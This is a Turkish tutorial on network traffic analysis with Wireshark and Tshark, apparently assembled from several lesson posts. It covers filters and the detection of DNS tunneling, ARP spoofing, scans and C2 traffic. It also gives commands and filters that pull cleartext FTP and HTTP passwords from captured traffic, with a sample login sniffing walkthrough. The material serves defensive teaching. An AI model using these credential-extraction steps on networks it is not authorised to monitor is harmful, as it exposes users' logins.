Ağların Mikroskobu: Wireshark ile Ağ Trafiği Analizi
1. Wireshark Nedir?
Wireshark, ağ trafiğini gerçek zamanlı olarak analiz etmek için kullanılan dünyanın en popüler açık kaynak paket analizörlerinden biridir.
Siber güvenlik uzmanları, ağ yöneticileri, SOC analistleri, DFIR uzmanları ve penetrasyon test uzmanları tarafından yaygın olarak kullanılır.
Temel amacı:
Ağ üzerinden geçen paketleri yakalamak
Ağ sorunlarını tespit etmek
Siber saldırıları analiz etmek
Zararlı yazılım trafiğini incelemek
Adli bilişim incelemeleri yapmak
Ağ performansını ölçmek
2. Wireshark Nasıl Çalışır?
Ağ kartı üzerinden geçen paketleri yakalar ve katman katman ayrıştırır.
Örneğin bir web sitesine girdiğinizde:
Bilgisayarınız↓DNS Sorgusu↓TCP El Sıkışması↓TLS Şifreleme↓HTTPS Trafiği↓Web Sunucusu
Wireshark bu sürecin tamamını görebilir.
3. OSI Modeli ve Wireshark
Wireshark paketleri OSI katmanlarına göre gösterir.
| Katman | Örnek |
|---|---|
| Uygulama | HTTP, DNS, FTP |
| Taşıma | TCP, UDP |
| Ağ | IP |
| Veri Bağlantı | Ethernet |
| Fiziksel | Bit Akışı |
Örnek paket:
Ethernet└── IP└── TCP└── HTTP
4. Kurulum
Windows
İndirme:
Kurulum sırasında:
Wireshark
Npcap
yüklenmelidir.
Npcap olmadan paket yakalama yapılamaz.
5. Arayüzün Tanıtılması
Wireshark üç temel bölümden oluşur:
1. Packet List
Yakalanan paketler.
2. Packet Details
Paket ayrıntıları.
3. Packet Bytes
Ham veri (Hex).
6. İlk Paket Yakalama
Ağ kartınızı seçin:
EthernetWi-FiVPN
Başlat:
Capture → Start
veya
Ctrl + E
İnternet kullanmaya başlayın.
Paketler akacaktır.
7. Capture Filter ve Display Filter Farkı
Çoğu kişinin karıştırdığı konu budur.
Capture Filter
Yakalama sırasında uygulanır.
Örnek:
host 8.8.8.8
Sadece Google DNS yakalanır.
Display Filter
Yakalama sonrası uygulanır.
Örnek:
ip.addr == 8.8.8.8
Yalnızca görüntüleme filtrelenir.
Wireshark kullanmaya başlayan siber güvenlik uzmanlarının ve ağ yöneticilerinin en sık karşılaştığı kafa karışıklıklarından biri, filtreleme sistemindeki çift başlı yapıdır. Wireshark, veriyi filtrelemek için birbirinden tamamen farklı iki motor ve iki farklı sözdizimi (syntax) kullanır: Capture Filter (Yakalama Filtresi) ve Display Filter (Görüntüleme Filtresi).
Bu iki kavramı anlamanın en kolay yolu basit bir benzetmedir:
Capture Filter (Ağın Delik Boyutu): Denize attığınız ağın kendisidir. Eğer geniş delikli bir ağ kullanırsanız (örneğin sadece TCP 80 portunu yakala derseniz), küçük balıklar ağdan geçip okyanusa karışır. Giden balığı geri getirme şansınız yoktur, veri sonsuza dek kaybolmuştur.
Display Filter (Güvertedeki Ayıklama): Ağa takılıp geminin güvertesine dökülmüş (PCAP dosyasına kaydedilmiş) balıkları incelemektir. Analiz yaparken "Şimdilik sadece kırmızı balıkları göreyim" diyerek onları bir sepete ayırırsınız. Diğer balıklar okyanusa dönmemiştir, hala güvertede (hafızada) duru
Bu iki filtrenin teknik detaylarına ve farklarına yakından bakalım:
1. Capture Filter (Yakalama Filtresi)
Ağ kartınızdan (NIC) gelen milyarlarca baytlık verinin diske veya RAM'e yazılmadan önce süzüldüğü aşamadır. Arka planda libpcap (Linux) veya Npcap (Windows) kütüphanelerini kullanan BPF (Berkeley Packet Filter) motoru üzerinde çalışır.
Temel Amacı: Sistem kaynaklarını (CPU, RAM, Hard Disk) korumaktır. Saniyede gigabitlerce veri akan bir kurumsal ağda her şeyi kaydetmek diskleri dakikalar içinde doldurur.
Geri Dönüşü Yoktur: Eğer bir paketi Capture Filter ile dışarıda bırakırsanız, analiz aşamasında "Şu pakete de bir bakayım" diyemezsiniz. Paket hiç kaydedilmemiştir.
Sözdizimi (Syntax): Çok temel ve ilkeldir. Sadece IP, Port ve Protokol gibi düşük seviyeli parametrelerle çalışır. Mantıksal operatörler
and,or,notşeklinde yazılır.Örnek Kullanım:
Sadece 80 numaralı portu kaydet:
tcp port 80Belirli bir IP'yi kaydetme:
not host 192.168.1.1HTTP içeriğine veya GET metoduna bakamaz (Çünkü bu katman 7 seviyesindedir, Capture filter paketlerin içine o kadar derinlemesine bakacak vakte sahip değildir).
2. Display Filter (Görüntüleme Filtresi)
Capture Filter'dan geçip PCAP dosyasına kaydedilmiş olan verilerin ekranda nasıl listeleneceğini belirleyen aşamadır. Wireshark'ın kendi güçlü filtreleme motorunu kullanır.
Temel Amacı: "Samanlıkta iğne aramaktır". Milyonlarca paket arasından tam olarak aradığınız spesifik bir isteği veya hatayı ekrana getirmeyi sağlar.
Geri Dönüşü Vardır (Güvenlidir): Filtreyi uygularsınız, aradığınızı bulamazsanız filtre çubuğundaki "X" (Temizle) tuşuna basarsınız ve kaydettiğiniz tüm paketler ekrana geri döner. Dosyadan hiçbir şey silinmez.
Sözdizimi (Syntax): OSI modelinin 7 katmanına da hakimdir. Paketlerin içindeki en ufak bir bit değerine kadar filtreleme yapabilir. Operatörler genellikle
==,!=,&&,||şeklinde yazılır.Örnek Kullanım:
Sadece 80 numaralı portu göster:
tcp.port == 80(Sözdizimindeki farka dikkat edin)Belirli bir IP'den gelen trafiği göster:
ip.src == 192.168.1.10Sadece HTTP POST isteklerini göster:
http.request.method == "POST"(Capture filter bunu yapamaz)
Karşılaştırmalı Özet Tablosu
| Özellik | Capture Filter (Yakalama) | Display Filter (Görüntüleme) |
| Ne Zaman Çalışır? | Paketler diske/hafızaya kaydedilmeden önce. | Paketler kaydedildikten sonra (Analiz sırasında). |
| Temel Amacı | Disk alanı ve sistem kaynaklarından tasarruf etmek. | Kaydedilmiş devasa veri setinde arananı bulmak. |
| Kullanılan Motor | BPF (Berkeley Packet Filter - libpcap/Npcap) | Wireshark Display Filter Engine |
| Veri Kaybı Var Mı? | Evet. Yakalanmayan paket sonsuza dek kaybolur. | Hayır. Sadece ekrandan gizlenir, istendiğinde geri getirilir. |
| Analiz Derinliği | Yüzeysel (IP, MAC, Port, Temel TCP/UDP seviyesi). | Çok Derin (HTTP gövdesi, sertifika detayları, bayraklar). |
| Sözdizimi (Port 80) | tcp port 80 | tcp.port == 80 |
8. Temel Filtreler
IP Adresi
ip.addr == 192.168.1.10
Kaynak IP
ip.src == 192.168.1.10
Hedef IP
ip.dst == 192.168.1.1
TCP
tcp
UDP
udp
DNS
dns
HTTP
http
HTTPS
tls
ICMP (Ping)
icmp
9. TCP El Sıkışması (Three-Way Handshake)
TCP bağlantısı kurulurken:
İstemci → SYNSunucu → SYN ACKİstemci → ACK
Wireshark'ta:
tcp.flags.syn == 1
Filtre uygulanabilir.
10. DNS Analizi
DNS sorguları ağ analizinin temelidir.
Filtre:
dns
Örnek:
www.google.com
DNS sorgusu:
Query
DNS cevabı:
Response
11. HTTP Analizi
Filtre:
http
Görülebilecek bilgiler:
GET
POST
Cookie
User-Agent
URL
Örnek:
GET /index.html HTTP/1.1
12. HTTPS ve TLS Analizi
HTTPS şifreli olduğu için içerik görünmez.
Ancak görülebilir:
Sunucu IP'si
TLS sürümü
Sertifika
Cipher Suite
Filtre:
tls
13. DNS Tünelleme Tespiti
Saldırganlar DNS üzerinden veri kaçırabilir.
Şüpheli durumlar:
Çok uzun alan adları
Yüksek sorgu sayısı
Base64 benzeri veriler
Filtre:
dns
Örnek:
ajs82j3jsk8s2j.example.com
14. ARP Spoofing Tespiti
Filtre:
arp
Şüpheli işaretler:
Aynı IP↓Birden fazla MAC
Örnek:
192.168.1.1MAC-A192.168.1.1MAC-B
Bu durum ARP zehirlenmesine işaret edebilir.
15. Port Tarama Tespiti
Nmap taramalarında sık görülür.
Filtre:
tcp.flags.syn == 1 and tcp.flags.ack == 0
Belirtiler:
Çok sayıda SYN
Çok sayıda hedef port
16. Brute Force Tespiti
Örnek protokoller:
SSH
FTP
RDP
Filtre:
tcp.port == 22
İşaretler:
Çok sayıda başarısız oturum
Kısa sürede yüzlerce bağlantı
17. Malware Trafiği Analizi
Analiz edilen unsurlar:
DNS sorguları
C2 trafiği
HTTP beacon
TLS sertifikaları
Filtreler:
dns
http
tls
18. Dosya Çıkarma (File Extraction)
HTTP üzerinden aktarılan dosyalar çıkarılabilir.
Menü:
File↓Export Objects↓HTTP
19. Follow TCP Stream
En güçlü özelliklerden biridir.
Sağ tık:
Follow↓TCP Stream
Görülür:
Sohbetler
Komutlar
HTTP istekleri
Zararlı yazılım iletişimleri
Wireshark'ta ağ trafiğini incelerken binlerce satırlık paket listesine bakmak bazen ağaçlar yüzünden ormanı görememeye benzer. İşte bu noktada Wireshark'ın en hayati araçlarından biri olan "Follow" (Takip Et) özelliği devreye girer.
Ağ üzerinden iletilen veriler ağ kablolarına veya Wi-Fi dalgalarına sığabilmek için küçük parçalara (fragment) bölünür. "Follow" özelliği, arka planda çalışan karmaşık birleştirme algoritmaları sayesinde bu dağınık parçaları toplar, sıraya koyar ve iletişimde bulunan iki cihazın tam olarak ne konuştuğunu size kesintisiz bir akış olarak sunar.
Sadece TCP ile sınırlı kalmayan bu özelliğin tüm yeteneklerine ve bir SOC (Güvenlik Operasyonları Merkezi) analizinde veya laboratuvar ortamında nasıl kullanılabileceğine daha yakından bakalım.
1. Follow Seçenekleri: Sadece TCP Değil
Wireshark, incelenen paketin protokol türüne göre farklı "Follow" seçenekleri sunar. İlgili pakete sağ tıkladığınızda karşınıza şu alternatifler çıkar:
Follow TCP Stream: En çok kullanılan türdür. Parçalanmış TCP paketlerini (örneğin bir FTP oturumu, Telnet bağlantısı veya Reverse Shell komutları) birleştirir.
Follow UDP Stream: UDP bağlantısız bir protokol olmasına rağmen, Wireshark aynı kaynak ve hedef IP/Port ikilisine sahip UDP paketlerini gruplar. Özellikle DNS sorgularını, Syslog mesajlarını veya bazı zararlı yazılımların C2 (Komuta Kontrol) iletişimlerini okumak için idealdir.
Follow HTTP Stream: Sadece TCP verisini değil, HTTP protokolünün yapısını (Header'lar, Get/Post metodları, dönen HTML veya JSON gövdeleri) hiyerarşik olarak düzenleyerek gösterir. Eğer veri "Gzip" ile sıkıştırılmışsa, Wireshark bunu otomatik olarak açar.
Follow TLS Stream: Eğer ağ trafiği şifreliyse (HTTPS) ve elinizde oturum anahtarları (SSLKEYLOGFILE) varsa, Wireshark şifreyi çözer ve normalde anlamsız görünen veri akışını okunabilir düz metin olarak bu pencerede sunar.
2. Follow Penceresinin Anatomisi
Follow penceresi açıldığında, sadece metinleri değil, analizi derinleştirecek birçok aracı da beraberinde getirir:
Renk Kodlaması: * Kırmızı Metin: İletişimi başlatan cihazın (İstemci/Client) gönderdiği veriler.
Mavi Metin: Hedef cihazın (Sunucu/Server) verdiği yanıtlar.
Kullanım Senaryosu: Bir laboratuvar dersinde öğrencilere kaba kuvvet (Brute Force) saldırılarını gösterirken, kırmızı renkteki "USER admin" denemelerini ve mavi renkte dönen "530 Login incorrect" yanıtlarını görsel olarak ayırt etmek konunun anlaşılmasını inanılmaz derecede kolaylaştırır.
Veri Görüntüleme Formatları (Show and save data as):
ASCII: Metin tabanlı protokoller (HTTP, FTP) için standart görünümdür.
Hex Dump: İletişim sırasında bir dosya (örneğin
.exeveya.pdf) indirildiyse veri anlamsız karakterler olarak görünür. Hex formatına geçildiğinde, dosyanın imza başlıkları (örneğin Windows çalıştırılabilir dosyaları için "MZ") kolayca tespit edilebilir.Raw: Verinin hiçbir değişime uğramadan ham bayt dizisi olarak gösterilmesidir. Ağ üzerinden indirilen zararlı bir dosyayı dışarı aktarmak için bu format seçilmelidir.
Stream Geçişleri (Stream Index): Pencerenin sağ alt köşesinde bir numaratör bulunur. Ağda gerçekleşen her bir bağımsız oturuma Wireshark bir indeks numarası atar (Stream 0, Stream 1...). Numaratörü artırarak ağdaki farklı bağlantılar arasında hızlıca gezinebilirsiniz.
3. Gerçek Dünya ve Laboratuvar Senaryoları
Senaryo 1: Zararlı Yazılım (Malware) Çıkarımı Ağ üzerinden şifresiz HTTP ile bir dosya indirildiğini tespit ettiniz. İlgili GET isteğine sağ tıklayıp Follow HTTP Stream dediğinizde anlamsız karakterler görüyorsunuz. Görüntüleme formatını "Raw" olarak değiştirip "Save as" (Farklı Kaydet) diyerek dosyayı bilgisayarınıza kaydedersiniz. Artık bu dosyayı güvenli bir Pardus sanal makinesinde çalıştırarak veya statik analize tabi tutarak ne tür bir zararlı olduğunu inceleyebilirsiniz.
Senaryo 2: DNS Sorun Giderme Sistemdeki cihazların (örneğin akıllı tahtaların) belirli bir domaine ulaşamadığı raporlandı. Trafiği dinlerken bir DNS paketine Follow UDP Stream yaparsanız, cihazın gönderdiği sorguyu ve sunucunun döndürdüğü yanıtı (veya dönmeyen yanıtı, NXDOMAIN hatasını) temiz bir metin bloğu halinde görebilir, sorunun ağ geçidinde mi yoksa DNS sunucusunda mı olduğunu hızlıca tespit edebilirsiniz.
Follow özelliği, paketleri tek tek saymak yerine "Burada tam olarak ne yaşandı?" sorusuna yanıt veren en etkili analiz yöntemidir.
Başlık: Follow TCP Stream (TCP Akışını Takip Et)
Ağ üzerinden iletilen veriler (örneğin bir web sayfası, indirilen bir dosya veya bir komut satırı bağlantısı) hiçbir zaman tek bir bütün halinde gönderilmez. Taşıma katmanında (Transport Layer), veriler ağın taşıyabileceği maksimum boyutlara (genellikle 1500 byte'lık MTU sınırına) göre küçük paketlere bölünür.
Eğer 10 MB'lık bir dosya indiriyorsanız veya bir sunucuda 5 dakika boyunca komut çalıştırıyorsanız, Wireshark ekranında binlerce ayrı paket görürsünüz. Bu paketler bazen ağda gecikebilir, sırası karışabilir veya yolda kaybolup tekrar gönderilebilir (Retransmission).
"Follow TCP Stream" (TCP Akışını Takip Et), Wireshark'ın en güçlü ve hayat kurtarıcı özelliklerinden biridir. Yaptığı iş şudur:
Sizin seçtiğiniz tek bir paketin ait olduğu oturumun (session) başını ve sonunu bulur (Aynı Kaynak IP/Port ve Hedef IP/Port).
Aradaki TCP sıra numaralarını (Sequence Numbers) hesaplayarak paketleri doğru sıraya sokar.
TCP başlıklarını (Header) ve bayrakları (SYN, ACK) gizler.
Sadece Uygulama Katmanındaki (Application Layer) gerçek veriyi (Payload) birleştirir ve size sanki düz bir metin belgesiymiş gibi sunar.
Nasıl Okunur? (Wireshark Renk Mantığı)
Follow TCP Stream penceresini açtığınızda Wireshark, iletişimi kimin başlattığına göre verileri otomatik olarak renklendirir:
Kırmızı Renk (İstemci - Client): İletişimi başlatan cihazın (genellikle kullanıcının veya saldırganın) gönderdiği veriler veya yazdığı komutlardır.
Mavi Renk (Sunucu - Server): Hedef cihazın (sunucunun) istemciye verdiği yanıtlar, dosya içerikleri veya komut çıktılarıdır.
Aşağıdaki interaktif simülasyon üzerinden, ham paket listesinin "Follow TCP Stream" kullanıldığında nasıl okunabilir bir konuşma metnine dönüştüğünü deneyimleyebilirsiniz.
20. İstatistik Menüsü
Statistics
İçinde:
Protocol Hierarchy
Conversations
Endpoints
IO Graphs
bulunur.
21. Protocol Hierarchy
Trafiğin dağılımını gösterir.
Örnek:
Ethernet 100%└─ IP 98%└─ TCP 90%└─ HTTPS 80%
22. Conversations
Kim kiminle konuşuyor?
Gösterir:
Kaynak IP↓Hedef IP↓Paket Sayısı
23. Endpoints
Ağdaki tüm cihazları listeler.
Gösterir:
IP adresleri
MAC adresleri
Trafik miktarı
24. IO Graphs
Trafik yoğunluğunu analiz eder.
DDoS analizinde çok kullanılır.
25. Gerçek SOC Senaryosu
Alarm:
Şüpheli DNS Trafiği
Analist:
DNS filtreler
Alan adlarını inceler
IP'leri çıkarır
IOC üretir
Tehdit istihbaratı ile eşleştirir
Sonuç:
DNS Tünelleme
tespit edilir.
26. DFIR Senaryosu
Olay:
Kullanıcı zararlı dosya çalıştırdı.
İnceleme:
PCAP alınır
DNS incelenir
HTTP incelenir
TLS sertifikaları incelenir
C2 adresleri çıkarılır
27. En Faydalı Filtreler
http
dns
tls
tcp
udp
icmp
arp
tcp.analysis.retransmission
frame contains "password"
frame contains "login"
28. Sertifikalar ve Kariyer
Wireshark bilgisi şu alanlarda önemli avantaj sağlar:
Cisco Networking Academy
CompTIA Security+
EC-Council CEH
SANS Institute GIAC
SOC Analyst
DFIR Analyst
Threat Hunter
Incident Responder
Network Security Engineer
Sonuç
Wireshark yalnızca bir paket yakalama aracı değildir. Ağ görünürlüğü sağlayan, olay müdahalesi, tehdit avcılığı, zararlı yazılım analizi, performans sorun giderme ve dijital adli bilişim çalışmalarında kullanılan profesyonel bir platformdur. Wireshark'ı etkili kullanabilen bir analist; DNS tünelleme, ARP spoofing, port tarama, brute-force saldırıları, C2 iletişimleri ve ağ anomalilerini tespit edebilir.
Bir ağın üzerinde neler olup bittiğini tam anlamıyla görebilmek, siber güvenlik dünyasının en temel yetkinliklerinden biridir. SOC (Security Operations Center) operasyonlarından, ağ performans sorunlarının giderilmesine kadar birçok alanda karşımıza çıkan Wireshark, ağ trafiğini milisaniye düzeyinde incelememizi sağlayan dünyanın en popüler ağ protokolü analiz aracıdır.
1. Wireshark Nedir ve Nasıl Çalışır?
Ağ üzerindeki cihazlar birbirleriyle "paketler" halinde veri göndererek iletişim kurarlar. Normal şartlarda ağ kartınız (NIC) sadece kendisine gelen veya tüm ağa yayınlanan (broadcast) paketleri işler. Wireshark, ağ kartını Promiscuous (Karmaşık) Mod'a alarak hattan geçen tüm paketleri yakalar ve bunları OSI referans modeline uygun bir şekilde, insanların okuyabileceği bir formata çevirir.
2. Kurulum ve İlk Ayarlar
Windows ve macOS için resmi web sitesinden indirilebilen Wireshark, Linux dağıtımlarının depolarında standart olarak bulunur. Özellikle eğitim laboratuvarlarında sıkça kullanılan Debian/Pardus tabanlı sistemlerde kurulum oldukça basittir:
sudo apt updatesudo apt install wireshark
Not: Kurulum sırasında "Wireshark'ı root olmayan kullanıcılar da çalıştırabilsin mi?" sorusuna "Evet" (Yes) demek, güvenlik ve kullanım kolaylığı açısından en iyi pratiktir. Kullanıcınızı wireshark grubuna eklemeyi unutmayın (sudo usermod -aG wireshark $USER).
3. Arayüzü Tanıma
Programı açıp dinleyeceğiniz ağ arayüzünü (örneğin eth0 veya wlan0) seçtiğinizde karşınıza üç ana panel çıkar:
Packet List (Paket Listesi): Yakalanan tüm paketlerin kronolojik sırayla listelendiği bölümdür. Kaynak/Hedef IP, Protokol türü ve genel bilgi burada yer alır.
Packet Details (Paket Detayları): Seçilen tek bir paketin OSI modelinin katmanlarına göre ayrıştırılmış detaylı halidir. (Örneğin Ethernet çerçevesi, IP başlığı, TCP portları).
Packet Bytes (Paket Baytları): Paketin ham (Raw) halidir. Veriler hem Hexadecimal (Onaltılık) hem de ASCII formatında görüntülenir.
4. Filtreleme Sanatı (Display Filters)
Wireshark'ı güçlü kılan şey, milyonlarca paket arasından iğneyi bulabilme yeteneğidir. Analiz sırasında en çok ihtiyaç duyulan filtrelerden bazıları şunlardır:
| İşlev | Filtre Komutu | Açıklama |
| Tek IP Filtreleme | ip.addr == 192.168.1.10 | Kaynak veya hedefi bu IP olan tüm trafiği gösterir. |
| Alt Ağ Filtreleme | ip.addr == 192.168.1.0/24 | Belirli bir IP bloğundaki trafiği listeler. |
| Port Filtreleme | tcp.port == 80 | Sadece HTTP (Port 80) trafiğini gösterir. |
| Protokol Filtreleme | dns veya http | Sadece DNS veya HTTP protokolüne ait paketleri getirir. |
| Koşullu Filtreleme | tcp.port == 80 and ip.src == 10.0.0.5 | Sadece belirli bir IP'den çıkan HTTP trafiği. |
| HTTP Metod Tespiti | http.request.method == "POST" | Sunucuya gönderilen veri paketlerini bulur. |
5. Laboratuvar Senaryosu: Tehdit Avcılığı ve Anomali Tespiti
Bir ağ savunmacısı veya siber güvenlik uzmanı olarak Wireshark'ı sadece hata ayıklamak için değil, saldırıları tespit etmek için de kullanırız.
Senaryo 1: Cleartext (Düz Metin) Parola Avı
Eğer ağda şifrelenmemiş (HTTP, Telnet, FTP gibi) protokoller kullanılıyorsa, giriş bilgileri Wireshark ile kolayca okunabilir.
Filtre:
http.request.method == "POST"İnceleme: Dönen sonuçlarda "Packet Details" bölümünde "HTML Form URL Encoded" kısmı genişletildiğinde, kullanıcıların sisteme girmeye çalıştığı
usernamevepassworddeğerleri düz metin olarak okunabilir.
Senaryo 2: ARP Spoofing (Zehirlenmesi) Tespiti
Ağdaki bir saldırganın "Ortadaki Adam" (MitM) konumuna geçmeye çalıştığını tespit etmek için ARP trafiği incelenir.
Filtre:
arp.duplicate-address-detectedveya sadecearpİnceleme: Eğer aynı IP adresi (örneğin ağ geçidi olan 192.168.1.1) sürekli olarak farklı MAC adreslerinden "Bu IP benim" şeklinde ARP Reply paketleri gönderiyorsa, ağda bir ARP zehirlenmesi saldırısı yaşanıyor demektir.
6. Sonuç ve İleri Analiz
Wireshark, Tshark gibi komut satırı araçlarıyla entegre çalışabildiği gibi, Suricata veya Wazuh gibi SIEM/IDS sistemlerinden elde edilen PCAP dosyalarının detaylı incelenmesinde de kilit rol oynar. Ağı anlamak, sistemi savunmanın ilk adımıdır.
Başlık: Tshark ile Komut Satırında Tehdit Avcılığı: Zararlı Trafik Analizi Laboratuvarı
Wireshark’ın grafik arayüzü paketleri detaylıca incelemek için mükemmel olsa da, söz konusu devasa ağ loglarını otomatize etmek, hızlı filtrelemeler yapmak veya uzak sunucularda (GUI olmayan ortamlarda) analiz yürütmek olduğunda komut satırı araçları devreye girer. Wireshark’ın "kardeşi" olan Tshark, tam da bu ihtiyaçlar için tasarlanmış, SOC ortamlarında ve siber güvenlik laboratuvarlarında vazgeçilmez bir araçtır.
Bu makalede, şüpheli bir ağ trafiği barındıran örnek bir PCAP dosyası üzerinden, Tshark kullanarak adım adım zafiyet ve zararlı yazılım analizi gerçekleştireceğiz.
Laboratuvar Ön Hazırlığı
Bu senaryoyu uygulamak için sisteminizde tshark kurulu olmalı ve içinde analiz yapabileceğimiz şüpheli trafiğin kaydedildiği bir malware_traffic.pcap dosyası bulunmalıdır.
Senaryomuzdaki ana hedef: Ağa sızmış olabilecek bir zararlı yazılımın (Malware) komuta kontrol (C2) sunucusuyla iletişimini ve indirdiği şüpheli dosyaları tespit etmektir.
Adım 1: PCAP Dosyasına Genel Bakış (Protokol Hiyerarşisi)
Analize başlarken ilk kural, elinizdeki verinin ne içerdiğini anlamaktır. PCAP dosyasının içinde hangi protokollerin ağırlıkta olduğunu görmek, anormal durumları (örneğin ağda olmaması gereken bir IRC veya beklenmedik yoğunlukta bir DNS trafiği) hızlıca fark etmemizi sağlar.
tshark -r malware_traffic.pcap -z io,phs -q
-r: Okunacak PCAP dosyasını belirtir.-z io,phs: Protokol Hiyerarşisi İstatistiklerini (Protocol Hierarchy Statistics) çıkarır.-q: Sadece istatistikleri göstermesi için standart paket dökümünü susturur.
Beklenen Çıktı Analizi: Bu çıktıya bakarak trafiğin yüzde kaçının TCP, UDP, HTTP veya DNS olduğunu görebiliriz. Eğer HTTP trafiği normalden çok yüksekse, analizimizi o yöne kaydırmalıyız.
Adım 2: HTTP Üzerinden İndirilen Şüpheli Dosyaların Tespiti
Zararlı yazılımlar genellikle sisteme sızdıktan sonra ek modüller veya payload'lar indirmek için HTTP GET isteklerini kullanırlar. Sadece HTTP GET isteklerini filtreleyip, kaynak, hedef, erişilen host ve URL yollarını tablo halinde çekelim:
tshark -r malware_traffic.pcap -Y "http.request.method == GET" -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri
-Y: Wireshark'taki Display Filter mantığıyla aynı şekilde filtre uygular.-T fields: Çıktının sadece belirteceğimiz alanlardan (fields) oluşmasını sağlar.-e: Ekrana yazdırılacak spesifik paket alanlarını tanımlar (Kaynak IP, Hedef IP, Host adı ve URI).
Ne Arıyoruz? Çıktıda .exe, .dll, .bin gibi çalıştırılabilir dosya uzantılarına sahip URI'ler veya rastgele karakterlerden oluşan anlamsız domain isimleri görüyorsanız, zararlı yazılım tespit etmiş olma ihtimaliniz yüksektir.
Adım 3: DNS Üzerinden Veri Sızdırma (Exfiltration) veya Keşif Tespiti
Saldırganlar, güvenlik duvarlarını atlatmak için DNS protokolünü tünelleme veya veri sızdırma amacıyla suistimal edebilirler. Ağdaki DNS sorgularını listeleyip, hangi domainlerin en çok sorgulandığına bakalım:
tshark -r malware_traffic.pcap -Y "dns.flags.response == 0" -T fields -e ip.src -e dns.qry.name | sort | uniq -c | sort -nr
dns.flags.response == 0: Sadece DNS isteklerini (cevapları değil) filtreler.dns.qry.name: Sorgulanan domain adını getirir.Linux komutları (
sort,uniq -c): Sonuçları gruplayarak en çok sorgulanan domainleri en üste yazar.
Ne Arıyoruz? Uzun, karmaşık ve anlamsız domain isimlerine (örneğin x8z91jd9.malicious-domain.com) yapılan tekrarlı sorgular bir C2 (Komuta Kontrol) iletişiminin veya DNS tünellemesinin net bir göstergesidir.
Adım 4: Parola Avı - Cleartext Kimlik Bilgilerini Çıkarmak
Eğer saldırgan ağdaki şifresiz trafiği (örneğin FTP) dinliyorsa veya kullanıcı şifresiz bir portala giriş yaptıysa, kimlik bilgileri ağa düz metin olarak düşer. FTP trafiğindeki kullanıcı adı ve parolaları çekmek için şu komutu kullanabiliriz:
tshark -r malware_traffic.pcap -Y "ftp.request.command == USER or ftp.request.command == PASS" -T fields -e ftp.request.command -e ftp.request.arg
Bu komut doğrudan FTP üzerinden gönderilen USER ve PASS komutlarını argümanlarıyla birlikte yakalar.
Sonuç ve SOC Entegrasyonu
Tshark ile komut satırında gerçekleştirdiğimiz bu temel adımlar, SOC ortamlarında gerçekleştirilen otomatize tehdit avcılığının temelini oluşturur. Gerçek bir laboratuvar veya kurum ağında, Suricata gibi bir IDS sistemi zararlı bir aktivite tespit edip alarm ürettiğinde, ilgili zaman dilimine ait trafiği Wazuh veya SIEM üzerinden izole edip Tshark komut dosyalarıyla (bash script'ler halinde) saniyeler içinde analiz edebiliriz.
Ağ trafiğini komut satırından okuyabilmek, ağ analizini bir sanat formundan çıkarıp, ölçülebilir ve otomatikleştirilebilir bir mühendislik sürecine dönüştürür.
Başlık: HTTP Protokolünde Kimlik Bilgisi (Cleartext) Yakalama Senaryosu
Ağ üzerinde HTTP (Hypertext Transfer Protocol) kullanılarak yapılan giriş (login) işlemleri, verilerin hiçbir şifreleme işleminden geçmeden "düz metin" (cleartext) olarak iletilmesi nedeniyle siber güvenlik eğitimlerindeki en temel zafiyet senaryolarından birini oluşturur.
Bu senaryoda, bir kullanıcının şifrelenmemiş bir web sitesine giriş yapması ve bu trafiğin ağ üzerinde bir analist veya saldırgan tarafından nasıl okunduğunun teknik mekaniğini adım adım inceleyeceğiz.
1. Zafiyetin Temeli: Düz Metin (Cleartext) İletişim
Modern web sitelerinin büyük çoğunluğu HTTPS (TLS/SSL) kullanarak veriyi şifreler. Ancak sadece HTTP kullanan eski veya yapılandırması eksik bir sisteme giriş yapıldığında, tarayıcının web sunucusuna gönderdiği kullanıcı adı ve parola bilgileri, ağ kablolarından veya Wi-Fi dalgalarından aynen klavyede yazıldığı haliyle geçer.
2. Senaryonun Gerçekleşmesi (Teorik Akış)
A. Kurbanın İşlemi: Kullanıcı, tarayıcısını açar ve http://testaspnet.vulnweb.com/login.aspx adresine gider. Karşısına çıkan forma şu bilgileri girer:
Username:
adminPassword:
GizliSifre123Kullanıcı "Login" butonuna tıkladığında, tarayıcı bu bilgileri bir HTTP POST isteği halinde paketleyip ağa bırakır.
B. Trafiğin Yakalanması (Sniffing): Aynı yerel ağda (LAN) bulunan bir saldırgan veya ağı izleyen bir SOC analisti, ağ kartını "Promiscuous" (Karmaşık) moda alarak hattan geçen paketleri dinlemeye başlar. Eğer ağ bir Switch kullanıyorsa, saldırgan "ARP Spoofing" (Ortadaki Adam - MitM) gibi tekniklerle trafiği kendi bilgisayarı üzerinden akmaya zorlayabilir.
3. Paket Analizi: Şifrenin Ortaya Çıkarılması
Ağdan geçen bu paketler Wireshark veya Tshark gibi bir araçla kaydedildiğinde (PCAP dosyası), HTTP protokolünün zafiyeti net bir şekilde görülür.
Wireshark Üzerinde İnceleme:
Filtreleme: Yakalanan binlerce paket arasından sadece veri gönderim işlemlerini bulmak için Wireshark'ın filtre çubuğuna şu komut yazılır:
http.request.method == "POST"Paketi Seçme: Filtrelenen listede, hedefe doğru giden
POST /login HTTP/1.1paketine tıklanır.Detayları Okuma: Orta paneldeki (Packet Details) OSI katmanları genişletilir. En altta bulunan "HTML Form URL Encoded: application/x-www-form-urlencoded" sekmesi açılır.
Sonuç: Analist, kullanıcının girdiği verileri burada açıkça görür:
Form item: "username" = "admin"Form item: "password" = "GizliSifre123"
Tshark Üzerinde Otomatize İnceleme: Aynı işlemi komut satırından, otomatize bir şekilde yapmak için şu komut kullanılır:
tshark -r yakalanan_trafik.pcap -Y 'http.request.method == "POST"' -T fields -e http.file_data
Bu komut, HTTP POST işlemiyle gönderilen ham veri yükünü (payload) doğrudan ekrana yazdırır ve username=admin&password=GizliSifre123 çıktısını verir.
4. Savunma ve Önlem: HTTPS (TLS/SSL)
Bu senaryonun gerçekleşmesini engellemenin tek ve kesin yolu, istemci ile sunucu arasındaki iletişimi şifrelemektir.
Eğer aynı işlem HTTPS üzerinden yapılsaydı; Wireshark trafiği dinlediğinde HTTP paketleri yerine sadece TLSv1.2 veya TLSv1.3 protokolüne ait "Application Data" paketlerini görecekti. Paket içeriği incelenmek istendiğinde ise anlamlı bir metin yerine tamamen karmaşık, şifrelenmiş anlamsız bayt dizileriyle karşılaşılacaktı. Bu nedenle günümüzde tüm kimlik doğrulama sistemleri HTTPS kullanımını zorunlu tutmaktadır.
Başlık: Ağ Güvenliği Laboratuvarı: Farklı Atak ve Zafiyet Analizi Senaryoları
